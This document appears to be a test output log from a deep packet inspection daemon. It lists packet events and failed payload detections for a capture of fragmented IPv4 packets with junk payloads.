+00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6809,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83173,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6809,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6810,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83217,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6810,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6811,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83229,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6811,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6812,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83244,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6812,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6813,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83256,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6813,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6814,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83264,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6814,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6815,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83276,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6815,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6816,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83290,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6816,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6817,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83302,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6817,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6818,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83314,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6818,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6819,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83326,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6819,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6820,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83338,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6820,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6821,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83351,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6821,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6822,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83364,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6822,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6823,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83376,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6823,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6824,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83390,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6824,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6825,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83418,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6825,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6826,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83431,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6826,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6827,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83445,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6827,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6828,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83457,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6828,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6829,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83469,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6829,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6830,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83481,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6830,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6831,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83493,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6831,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6832,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83508,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6832,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6833,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83519,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6833,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6834,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83531,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6834,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6835,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83544,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6835,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6836,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83556,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6836,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6837,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83567,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6837,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6838,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83579,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6838,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6839,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83591,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6839,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6840,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83603,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6840,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6841,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83618,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6841,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6842,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83630,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6842,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6843,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83642,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6843,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6844,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83661,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6844,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6845,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83674,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6845,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6846,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83685,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6846,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6847,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83699,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6847,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6848,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83711,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6848,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6849,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83723,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6849,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6850,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":83735,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6850,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 